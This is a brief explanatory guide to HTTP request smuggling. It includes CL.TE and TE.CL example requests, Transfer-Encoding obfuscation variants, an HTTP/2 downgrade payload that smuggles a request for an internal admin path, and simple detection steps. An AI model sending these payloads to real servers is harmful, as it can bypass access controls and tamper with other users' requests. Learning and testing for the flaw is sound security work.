HTTP Request Smuggling is a technique that exploits discrepancies in how front-end and back-end servers parse HTTP requests. By crafting ambiguous requests, attackers can "smuggle" a hidden request that gets interpreted differently by each server, bypassing security controls and poisoning other users' requests.
HTTP provides two ways to specify request body length: Content-Length header and Transfer-Encoding: chunked. When both are present, servers may disagree on where one request ends and the next begins.
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 13
Transfer-Encoding: chunked
0
GSMUGGLED
Front-end uses Content-Length (13 bytes), back-end uses chunked encoding. "GSMUGGLED" becomes the start of the next request.
POST / HTTP/1.1
Host: vulnerable.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
Front-end uses chunked, back-end uses Content-Length. The "SMUGGLED" portion prefixes the next user's request.
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding: chunked
Transfer-encoding: cow
Different servers may process different variants of the header.
# HTTP/2 to HTTP/1.1 downgrade smuggling
:method: POST
:path: /
content-length: 0
GET /admin HTTP/1.1
Host: internal
HTTP/2 front-end forwards to HTTP/1.1 back-end, enabling smuggled requests via header injection.
# Timing-based detection
1. Send CL.TE probe with delay payload
2. If back-end waits for more data, vulnerable
# Response-based detection
1. Smuggle a request that causes distinct response
2. Check if subsequent request receives unexpected response